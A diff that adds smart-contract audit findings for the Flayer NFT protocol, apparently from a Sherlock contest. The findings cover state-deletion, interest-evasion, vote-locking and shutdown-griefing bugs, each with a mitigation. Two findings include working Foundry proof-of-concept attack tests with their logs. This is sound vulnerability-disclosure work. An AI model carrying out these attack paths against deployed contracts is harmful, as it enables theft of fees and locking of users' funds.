+ uint256 lewisVoteBalance = 2 ether * 10 ** collectionToken.denomination();
+ collectionToken.approve(address(collectionShutdown), type(uint256).max);
+ collectionShutdown.start(address(erc721b));
+ assertEq(collectionShutdown.shutdownVoters(address(erc721b), address(Lewis)), lewisVoteBalance);
+ vm.stopPrank();
+
+ // Confirm that we can now execute
+ assertCanExecute(address(erc721b), true);
+
+ // Mint NFTs into our collection {Locker} and process the execution
+ uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
+ collectionShutdown.execute(address(erc721b), tokenIds);
+
+ // Confirm that the {CollectionToken} has been sunset from our {Locker}
+ assertEq(address(locker.collectionToken(address(erc721b))), address(0));
+
+ // After we have executed, we should no longer have an execute flag
+ assertCanExecute(address(erc721b), false);
+
+ // Mock the process of the Sudoswap pool liquidating the NFTs for ETH. This will
+ // provide 0.5 ETH <-> 1 {CollectionToken}.
+ _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 2 ether);
+
+ // Ensure that all state are SET
+ ICollectionShutdown.CollectionShutdownParams memory shutdownParamsBefore = collectionShutdown.collectionParams(address(erc721b));
+ assertEq(shutdownParamsBefore.shutdownVotes, lewisVoteBalance);
+ assertEq(shutdownParamsBefore.sweeperPool, SUDOSWAP_POOL);
+ assertEq(shutdownParamsBefore.quorumVotes, lewisVoteBalance);
+ assertEq(shutdownParamsBefore.canExecute, false);
+ assertEq(address(shutdownParamsBefore.collectionToken), address(collectionToken));
+ assertEq(shutdownParamsBefore.availableClaim, 2 ether);
+
+ // -- Attack --
+ uint256 balanceOfMaxBefore = collectionToken.balanceOf(address(Max));
+ uint256 amountSpendForAttack = 1;
+
+ // Transfer almost full funds to their second account and perform with small amount
+ vm.prank(Max);
+ collectionToken.transfer(address(MaxRecovery), balanceOfMaxBefore - amountSpendForAttack);
+ uint256 balanceOfMaxAfter = collectionToken.balanceOf(address(Max));
+ assertEq(balanceOfMaxAfter, amountSpendForAttack);
+
+ // Max votes even it is in the claim state to flag the `canExecute` back to Trrue
+ vm.startPrank(Max);
+ collectionToken.approve(address(collectionShutdown), type(uint256).max);
+ collectionShutdown.vote(address(erc721b));
+ assertEq(collectionShutdown.shutdownVoters(address(erc721b), address(Max)), amountSpendForAttack);
+ vm.stopPrank();
+
+ // Confirm that Max can now flag `canExecute` back to `TRUE`
+ assertCanExecute(address(erc721b), true);
+
+ // Attack to delete all varaibles track, resulting others cannot claim thier eligible ethers
+ vm.startPrank(Max);
+ locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0);
+ collectionShutdown.cancel(address(erc721b));
+ vm.stopPrank();
+
+ // Ensure that all state are DELETE
+ ICollectionShutdown.CollectionShutdownParams memory shutdownParamsAfter = collectionShutdown.collectionParams(address(erc721b));
+ assertEq(shutdownParamsAfter.shutdownVotes, 0);
+ assertEq(shutdownParamsAfter.sweeperPool, address(0));
+ assertEq(shutdownParamsAfter.quorumVotes, 0);
+ assertEq(shutdownParamsAfter.canExecute, false);
+ assertEq(address(shutdownParamsAfter.collectionToken), address(0));
+ assertEq(shutdownParamsAfter.availableClaim, 0);
+
+ // -- After Attack --
+ vm.expectRevert();
+ vm.prank(Lewis);
+ collectionShutdown.claim(address(erc721b), payable(Lewis));
+ }
+```
+
+
+#### Result
+Results of running the test:
+```bash
+Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
+[PASS] test_CanBlockEligibleUsersToClaim() (gas: 1491640)
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.96s (3.48ms CPU time)
+
+Ran 1 test suite in 11.17s (10.96s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+### Mitigation
+
+* Add validations to prevent manipulation of the CT denomination, and restrict voting during the claim state to prevent re-triggering of `params.canExecute`.
+```diff
+function vote(address _collection) public nonReentrant whenNotPaused {
+ // Ensure that we are within the shutdown window
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.quorumVotes == 0) revert ShutdownProccessNotStarted();
++ if (params.sweeperPool != address(0)) revert ShutdownExecuted();
+ _collectionParams[_collection] = _vote(_collection, params);
+}
+```
+
+* Update the usage of token denomination to use the token depens on the tracked token to inconsisten value.
+```diff
+function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+- if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
++ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+}
+```
\ No newline at end of file
diff --git a/001/743.md b/001/743.md
new file mode 100644
index 0000000..647057a
--- /dev/null
+++ b/001/743.md
@@ -0,0 +1,100 @@
+Vast Umber Walrus
+
+High
+
+# Failure to delete the listing when it is reserved
+
+## Summary
+
+The [`Listings::reserve()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759) function fails to delete listings after they are moved to the `ProtectedListing` contract, resulting in outdated data remaining in the `Listing` contract.
+
+This failure to delete listings can lead to the misuse of listing data, causing issues in functions such as `modifyListings()`, `cancelListings()`, `fillListings()` and others that interact with listings.
+
+## Vulnerability Detail
+
+The [`Listings::reserve()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759) function does not properly remove the listing from the `Listing` contract once the token listing is transferred to the `ProtectedListing` contract.
+
+As a result, the outdated listing data persists and can be inadvertently used in various functions within the `Listing` contract. This can cause incorrect behavior and inaccuracies in processing, as the reserved/protected listing should not be available for further interactions unless it is liquidated from the `ProtectedListing` contract.
+
+## Impact
+
+Incorrect usage of non-existent listing data leads to several issues, including incorrect tax accounting, incorrect reserve adjustments, and the misuse of outdated listing data in various critical functions.
+
+## Code Snippet
+
+[Listings::reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759)
+```solidity
+File: Listings.sol
+690: function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+---
+704: // Check if the listing is a floor item and process additional logic if there
+705: // was an owner (meaning it was not floor, so liquid or dutch).
+706: if (oldListing.owner != address(0)) {
+707: // We can process a tax refund for the existing listing if it isn't a liquidation
+708: if (!_isLiquidation[_collection][_tokenId]) {
+709: (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+710: if (_fees != 0) {
+711: emit ListingFeeCaptured(_collection, _tokenId, _fees);
+712: }
+713: }
+714:
+715: // If the floor multiple of the original listings is different, then this needs
+716: // to be paid to the original owner of the listing.
+717: uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+718: if (listingPrice > listingFloorPrice) {
+719: unchecked {
+720: collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+721: }
+722: }
+723:
+724: // Reduce the amount of listings
+725:@> unchecked { listingCount[_collection] -= 1; }
+726: }
+---
+750: // Create our listing, receiving the ERC20 into this contract
+751:@> protectedListings.createListings(createProtectedListing);
+---
+759: }
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Delete the listing after it is reserved and moved to the `ProtectedListings` contract. Additionally, for the reservation of liquidation listings, the liquidation status should be reset.
+
+```diff
+function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+---
+ if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+- }
++ } else {
++ delete _isLiquidation[_collection][_tokenId];
++ }
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+
++ // Delete the token listing
++ delete _listings[_collection][_tokenId];
+ }
+---
+}
+```
\ No newline at end of file
diff --git a/001/747.md b/001/747.md
new file mode 100644
index 0000000..6e95b7b
--- /dev/null
+++ b/001/747.md
@@ -0,0 +1,86 @@
+Muscular Pebble Walrus
+
+Medium
+
+# `listingCount` is not update in `relist()`
+
+## Summary
+`listingCount` is not update in `relist()`
+
+## Vulnerability Detail
+relist() is used to relist any token. But the problem is, it assumes that only listed token will be relisted. However, floor tokens can also be relisted using relist(), which will not be included in listingCount.
+```solidity
+ function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ // Load our tokenId
+ address _collection = _listing.collection;
+ uint _tokenId = _listing.tokenIds[0];
+
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Load our new Listing into memory
+ Listing memory listing = _listing.listing;
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // We can process a tax refund for the existing listing
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Validate our new listing
+ _validateCreateListing(_listing);
+
+ // Store our listing into our Listing mappings
+ _listings[_collection][_tokenId] = listing;
+
+ // Pay our required taxes
+ payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+
+ // Emit events
+ emit ListingRelisted(_collection, _tokenId, listing);
+ }
+```
+Now this will create problem while sunset/ closing of the collection because it checks the listingCount of the collection to ensure there is no listing. But due to above issue there will be listing & collection is sunset.
+```solidity
+ function _hasListings(address _collection) internal view returns (bool) {
+ IListings listings = locker.listings();
+ if (address(listings) != address(0)) {
+> if (listings.listingCount(_collection) != 0) {
+ return true;
+ }
+
+//
+ }
+```
+
+## Impact
+Collection will be sunset even after having a listing
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L497C4-L514C6
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625
+
+## Tool used
+Manual Review
+
+## Recommendation
+Increase the listingCount if its floor token
\ No newline at end of file
diff --git a/001/755.md b/001/755.md
new file mode 100644
index 0000000..38daa52
--- /dev/null
+++ b/001/755.md
@@ -0,0 +1,41 @@
+Cuddly Ocean Gibbon
+
+High
+
+# Listing is not deleted from mapping in reserve function
+
+## Summary
+
+`Listing::reserve` creates a Protected Listing from a regular Listing. Within its execution, it has a branch where it checks if a regular listing with this NFT already exists. And if it exists, the NFT is bought out from the current listing. (see code snippet)
+
+However, in this branch, the listing is not deleted from the listings mapping. Therefore, for the contract, this listing still exists. This means that all functions applicable to a regular listing can be applied to it. Consequently, the previous owner of the listing can at least cancel it by calling the cancel function, thereby retrieving the NFT that no longer belongs to them.
+
+## Vulnerability Detail
+
+When creating a Protected Listing, it is assumed that the NFT will be returned to the user upon unlockProtectedListing. Therefore, it is critically important to remove the listing from the listings mapping. Otherwise, a situation arises where records of different listings for the same NFT exist in different contracts `Listings` and `ProtectedListings`. This implies full freedom to interact with the NFT in both contracts, which is unacceptable, since there is only one true owner of the NFT - `msg.sender of reserve`, not `oldListing.owner`.
+
+This is simply a fundamental error in the protocol's code, contradicting its logic, which has multiple ways to break the protocol. One of these is the following method.
+
+`oldListing.owner` will call `cancelListings` in the Listings contract. Since for the contract, they are still considered the owner of the listing, they will successfully retrieve the NFT from the contract, even though it no longer belongs to them.
+
+## Impact
+
+Severity: High
+
+One of the possible impacts was described above. Also, the most minimal contradiction to the logic of the contract, which can be seen even without calling other functions, is that without removing the listing from the structure, the following happens
+
+`unchecked { listingCount[_collection] -= 1; }`
+
+Thus the number of listings does not correspond to the real number.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Delete Listing from listings mapping
\ No newline at end of file
diff --git a/001/760.md b/001/760.md
new file mode 100644
index 0000000..5533574
--- /dev/null
+++ b/001/760.md
@@ -0,0 +1,58 @@
+Cuddly Ocean Gibbon
+
+High
+
+# There is no method of returning votes in case of cancellation, resulting in loss of funds
+
+## Summary
+
+There is no method for users who have voted to withdraw their votes (tokens) in case of voting cancellation in `collectionShutdown` because `reclaimVotes` becomes unavailable after cancellation, which leads to loss of funds.
+
+## Vulnerability Detail
+
+In the `cancel()` function, the `_collectionParams[_collection]` structure is deleted. Once this happens, the `reclaimVote` function cannot be used because it uses the `_collectionParams[_collection]` structure, which will be empty, and, as a result, this will lead to an overflow in the subtraction line:
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L369
+
+(`params.shutdownVotes = 0`, `userVotes != 0` → `reclaimVote` will revert)
+
+The case where users who voted for the liquidation of the collection want to get their money back is the most common user behavior. However, this case was not tested in the tests, and, as shown above, does not work at all, which means the funds of those who voted will be locked.
+
+Scenario 1:
+
+- Users voted
+- `cancel()` was called
+- Users cannot retrieve their votes (tokens)
+
+Scenario 2:
+
+- Users voted
+- `cancel()` was called
+- Users cannot retrieve their votes (tokens)
+- `start()` was called
+- New users voted
+- `ShutdownVotes` increased and now previous users can withdraw their funds, but new ones lost theirs
+
+Scenario 3:
+
+- All collection holders voted
+- `cancel()` was called
+- All user funds were lost
+
+## Impact
+
+Locking of user funds. This is a critical vulnerability with 100 percent probability.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356-L377
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Add functionality to withdraw votes in case of voting cancellation.
\ No newline at end of file
diff --git a/001/762.md b/001/762.md
new file mode 100644
index 0000000..880258a
--- /dev/null
+++ b/001/762.md
@@ -0,0 +1,113 @@
+Massive Emerald Python
+
+High
+
+# Malicious users that reserve NFTs, can adjust their protectedPositions, and pay much less interest rate that they should
+
+### Summary
+
+The Flayer protocol allows users to reserve NFTs that they can't immediately buy via the [reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759) function. Users that reserve should pay interest rate until they fully unlock the NFT, and provide some collateral. The protocol allows suers to modify their protected listing via the [adjustPosition()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366-L417) function, however the interest rate that is owned up to this moment is not taken into account. A malicious user can repay part of the tokens he owes interest over, without first repaying the interest, and then when he decides to fully unlock his NFT via the [unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287-L329) function, he will be charged interest only on the amount that is remaining, not on the full amount that he borrowed.
+
+
+### Root Cause
+
+In the [adjustPosition()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366-L417) function, the user can repay part of the tokens he is accruing interest over, however the interest owned up to this moment is not taken into account.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+Lets consider the following scenario:
+1. When the user reserves the NFT he provides **0.5e18** tokens as collateral, and now he has tokenTaken = **0.5e18** on which he accrues interest.
+2. Time passes and the user has to pay for example 8% on the **0.5e18** tokens.
+3. Instead of paying 8% interest rate on the **0.5e18** tokens, he can repay part of the tokenTaken balance via the [adjustPosition()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366-L417) function, lets say **0.4e18**
+4. Then when he decides to fully unlock his NFT via the [unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287-L329) function, he will be charged **8%** interest only on the **0.1e18** tokens that are left.
+5. Instead of paying **8%** of interest over **0.5e18** tokens, the user ends up paying **8%** interest over **0.1e18** tokens
+
+### Impact
+
+A user can pay much less interest that he is supposed to.
+
+### PoC
+
+[Gist](https://gist.github.com/AtanasDimulski/95fe424bd5c38a08b7d12cc5c3911878)
+
+After following the steps in the above mentioned [gist](https://gist.github.com/AtanasDimulski/95fe424bd5c38a08b7d12cc5c3911878) add the following test to the ``AuditorTests.t.sol`` file:
+
+```solidity
+ function test_UserCanModifyHisProtectedPostionToPayLessTax() public {
+ vm.startPrank(alice);
+ collection1.mint(alice, 12);
+ collection1.setApprovalForAll(address(listings), true);
+
+ Listings.Listing memory listingAlice = IListings.Listing({
+ owner: payable(alice),
+ created: uint40(block.timestamp),
+ duration: 10 days,
+ floorMultiple: 200
+ });
+
+ uint256[] memory tokenIdsAlice = new uint256[](1);
+ tokenIdsAlice[0] = 12;
+ IListings.CreateListing[] memory createLisings = new IListings.CreateListing[](1);
+ IListings.CreateListing memory createListing = IListings.CreateListing({
+ collection: address(collection1),
+ tokenIds: tokenIdsAlice,
+ listing: listingAlice
+ });
+ createLisings[0] = createListing;
+ listings.createListings(createLisings);
+ skip(2);
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ collection1.mint(bob, 13);
+ collection1.mint(bob, 14);
+ collection1.mint(bob, 15);
+ collection1.setApprovalForAll(address(locker), true);
+ uint256[] memory tokenIdsBob = new uint256[](3);
+ tokenIdsBob[0] = 13;
+ tokenIdsBob[1] = 14;
+ tokenIdsBob[2] = 15;
+ locker.deposit(address(collection1), tokenIdsBob);
+ collectionTokenA.approve(address(listings), type(uint256).max);
+ listings.reserve(address(collection1), 12, 0.5e18);
+ ProtectedListings.ProtectedListing memory protectedListingBob = protectedListings.listings(address(collection1), 12);
+ console2.log("Bob's tokenTaken: ", protectedListingBob.tokenTaken);
+
+ /// @notice we skip one year
+ skip(31_536_000);
+ collectionTokenA.approve(address(protectedListings), type(uint256).max);
+ uint256 bobBalanceBeforeAdjustingAnUnlcoking = collectionTokenA.balanceOf(bob);
+ uint256 amountThatBobShouldPayIfHeDirectlyUnlocks = protectedListings.unlockPrice(address(collection1), 12);
+ console2.log("The current price that needs to be paid to unlock the NFT: ", amountThatBobShouldPayIfHeDirectlyUnlocks);
+ protectedListings.adjustPosition(address(collection1), 12, int256(-0.4e18));
+ console2.log("The current price that need to be paid to unlock the NFT: ", protectedListings.unlockPrice(address(collection1), 12));
+ protectedListings.unlockProtectedListing(address(collection1), 12, true);
+ uint256 bobBalanceAfterAdjustingAndUnlocking = collectionTokenA.balanceOf(bob);
+ uint256 amountThatBobPaid = bobBalanceBeforeAdjustingAnUnlcoking - bobBalanceAfterAdjustingAndUnlocking;
+ console2.log("Amount that bob paid if he adjusted his position before unlocking it: ", amountThatBobPaid);
+ assertEq(collection1.ownerOf(12), bob);
+ assert(amountThatBobShouldPayIfHeDirectlyUnlocks > amountThatBobPaid);
+ vm.stopPrank();
+ }
+```
+
+```solidity
+Logs:
+ Bob's tokenTaken: 500000000000000000
+ The current price that needs to be paid to unlock the NFT: 626499999985927999
+ The current price that need to be paid to unlock the NFT: 125299999997185599
+ Amount that bob paid if he adjusted his position before unlocking it: 525299999997185599
+```
+
+To run the test use: ``forge test -vvv --mt test_UserCanModifyHisProtectedPostionToPayLessTax``
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/001/765.md b/001/765.md
new file mode 100644
index 0000000..9b28908
--- /dev/null
+++ b/001/765.md
@@ -0,0 +1,52 @@
+Cuddly Ocean Gibbon
+
+High
+
+# ProtectedListings::withdrawProtectedListing functionality can be broken due to incorrect validation when redeeming NFT from locker
+
+## Summary
+
+When protectedListing.owner calls `unlockProtectedListing` with `bool _withdraw = false` - they receive permission to withdraw the NFT in a separate transaction at any time they want (see code snippet below).
+
+It's worth noting that NFTs that interact with the protocol are stored in the Locker. However, the functions for withdrawing NFTs from the Locker do not have sufficient validation to prevent a user from withdrawing an NFT that is intended for withdrawal in withdrawProtectedListing ⇒ the withdrawProtectedListing functionality may have several undesirable usage scenarios.
+
+1. DOS, as their NFT can be withdrawn by another person through the functions `Locker::redeem` `Locker::swap` `Locker::swapBatch`
+2. In case their NFT has already been withdrawn from the contract and then put up for sale, they can withdraw the NFT themselves, thereby organizing a DoS of the Listings and Protected Listings functionality, breaking one of the main invariants of the protocol: an NFT put up for sale should be in the Locker.
+
+## Vulnerability Detail
+
+Let's show that the functions in Locker intended for withdrawing NFTs indeed do not have sufficient validation.
+
+Let's consider `Locker::redeem` (The batch and swapBatch functions have an identical structure)
+
+From the code (see below in the code snippet), it's clear that the only validation for withdrawal availability is the `isListing` check
+
+The isListing function only checks cases where the NFT is listed for a Listing, but it doesn't consider the case where the NFT is locked for withdrawal in a Protected Listing.
+
+## Impact
+
+The root cause is this: the protocol allows withdrawing NFTs that are intended for withdrawal of unlocked ProtectedListings. This alone breaks the functionality of withdrawProtectedListing, but this error can also be used by attackers to violate other invariants of the protocol, let's consider the most significant case:
+
+1. An Unlocked User NFT was accidentally withdrawn using the redeem function not by the user (B) who should have done it in withdrawProtectedListing. Let's say by user A (the one who withdrew)
+2. Then user A puts the NFT up for sale.
+3. Afterwards, user B can use the previously obtained opportunity to withdraw and withdraw the NFT that is already recorded as a listing. To do this, they only need to call the withdrawProtectedListing function. It calls `locker.withdrawToken` which does not perform any checks during withdrawal.
+
+Severity: High
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287-L329
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L341-L352
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L209-L230
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L438-L452
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Fix nft withdraw validation in locker
\ No newline at end of file
diff --git a/001/768.md b/001/768.md
new file mode 100644
index 0000000..4bd7605
--- /dev/null
+++ b/001/768.md
@@ -0,0 +1,55 @@
+Obedient Flaxen Peacock
+
+High
+
+# Anyone can block collection shutdown execution and lock up voters' tokens and prevent them from claiming ETH shares
+
+### Summary
+
+Anyone can still create a [listing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130-L166) or a [protected listing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117-L156) for a collection that has reached quorum for shutdown. There are no checks that prevent this.
+
+However, shutdown can not be executed [while listings exist](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L241).
+
+### Root Cause
+
+Allowing creation of new listings or protected listings when shutdown of a collection has already started or executed can prevent shutdown from executing indefinitely.
+
+### Internal pre-conditions
+
+1. Collection shutdown has [reached quorum](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L208-L211).
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. Shutdown can be executed since voter quorum has been reached. However, it can be blocked by anyone who creates a listing or protected listing.
+2. Attacker [creates a protected listing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117-L156) for the target collection only borrowing 1 fToken. Since it is a protected listing, it can only be [liquidated](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L431-L432) once collateral has run out. For collateral to run out, the [`unlockPrice`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L500) must be greater than `0.95e18`. However, a collateral of 1 will only compound to 8 after 10 years with a utilization rate of 80%.
+3. The attacker has blocked the collection shutdown for an indefinite period.
+
+### Impact
+
+The shutdown voters lose their collection tokens and NFTs for an indefinite period. The cost of locking up the attacker's NFT for 10 years is only 4-10 fTokens (dust amounts).
+
+
+
+### PoC
+
+The following test can be added to `TaxCalculator.t.sol`.
+
+```solidity
+function test_Compounding() public view {
+ uint compoundedFactor = taxCalculator.calculateCompoundedFactor(1e18, 0.8 ether, 10 * 365 days);
+ compoundedFactor = compoundedFactor * 1e18 / 1e18;
+ // @audit the below code simulates `TaxCalculator::compound()`
+ uint compoundedAmount = 1 * compoundedFactor / 1e18;
+ console.log("Compounded Amount: ", compoundedAmount);
+}
+```
+
+The test shows that the compounded amount for a principal/collateral of 1 with a utilization rate of 80% and a duration of 10 years is only 8.
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/001/775.md b/001/775.md
new file mode 100644
index 0000000..9f182b7
--- /dev/null
+++ b/001/775.md
@@ -0,0 +1,103 @@
+Uneven Myrtle Gibbon
+
+Medium
+
+# User can stop a shutdown execution by creating a new listing which will force all voters to wait a long period before getting their payout
+
+### Summary
+
+A malicious user can create a new listing just before the execution of a collection shutdown to delay the sell out of the collection NFTs for a long period (even definitively), thus forcing previous holders to wait a long time before receiving their payouts.
+
+### Root Cause
+
+Any user can create a new listing for a collection by calling `Listings::createListings` even if the collection is going through a shutdown.
+
+### Internal pre-conditions
+
+1. A collection shutdown has reach quorum and is ready to be executed.
+
+### External pre-conditions
+
+1. A malicious user holding an ERC721 token of the shutdown collection, creates a new listing for the collection before the shutdown get executed.
+
+### Attack Path
+
+1. A collection is going through a shutdown vote and it has reached the quorum for sell execution.
+2. Malicious user notices that the admin is triggering the shutdown execution, and front run the tx by creating a new listing for that specific collection.
+3. The admin execution call to `CollectionShutdown::execute` will then get run but it will revert because `_hasListings(_collection)` will return true
+4. The collection sell execution will stay pending until the malicious user listing expires (which could take up to 180 days for a liquid listing)
+5. All voters and token holders will have to wait to get their payout from the collection sell out, and they won't have access to the collection ERC20 token anymore because they transferred it to the CollectionShutdown contract when voting.
+
+### Impact
+
+The collection shutdown sell out will be halted for a long period (until malicious user listing expires), thus users participating in the voting will have to wait that long period to get their funds and may even wait definitively if the malicious user keeps repeating the same tactic.
+
+### PoC
+
+The `CollectionShutdown::execute` function will always revert if there are still listing for the collection being shutdown because of the `_hasListings(_collection)` check as shown below (see [CollectionShutdown::L231-L241](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231C5-L241C63)):
+
+```solidity
+function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Ensure we have specified token IDs
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength == 0) revert NoNFTsSupplied();
+
+ // Check that no listings currently exist
+ if (_hasListings(_collection)) revert ListingsExist();
+
+ // Refresh total supply here to ensure that any assets that were added during
+ // ...
+}
+```
+
+And when a collection is going through a vote, at any time any user can still create a new listing for that collection regardless of the shutdown vote state, as `Listings::createListings` never check the collection shutdown status (see [Listings::L130-L166](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130C1-L166C6)):
+
+```solidity
+function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ // Loop variables
+ uint taxRequired;
+ uint tokensIdsLength;
+ uint tokensReceived;
+
+ // Loop over the unique listing structures
+ for (uint i; i < _createListings.length; ++i) {
+ // Store our listing for cheaper access
+ CreateListing calldata listing = _createListings[i];
+
+ // Ensure our listing will be valid
+ _validateCreateListing(listing);
+
+ // Map our listings
+ tokensIdsLength = listing.tokenIds.length;
+ tokensReceived = _mapListings(listing, tokensIdsLength) * 10 ** locker.collectionToken(listing.collection).denomination();
+
+ // Get the amount of tax required for the newly created listing
+ taxRequired = getListingTaxRequired(listing.listing, listing.collection) * tokensIdsLength;
+ if (taxRequired > tokensReceived) revert InsufficientTax(tokensReceived, taxRequired);
+ unchecked { tokensReceived -= taxRequired; }
+
+ // Increment our listings count
+ unchecked {
+ listingCount[listing.collection] += tokensIdsLength;
+ }
+
+ // Deposit the tokens into the locker and distribute ERC20 to user
+ _depositNftsAndReceiveTokens(listing, tokensReceived);
+
+ // Create our checkpoint as utilisation rates will change
+ protectedListings.createCheckpoint(listing.collection);
+
+ emit ListingsCreated(listing.collection, listing.tokenIds, listing.listing, getListingType(listing.listing), tokensReceived, taxRequired, msg.sender);
+ }
+}
+```
+
+Note that `_validateCreateListing` doesn't check for the collection shutdown status either.
+
+### Mitigation
+
+To avoid this issue, the creation of new listings should be disallowed for collections going through a shutdown or that already reached the shutdown vote quorum.
\ No newline at end of file
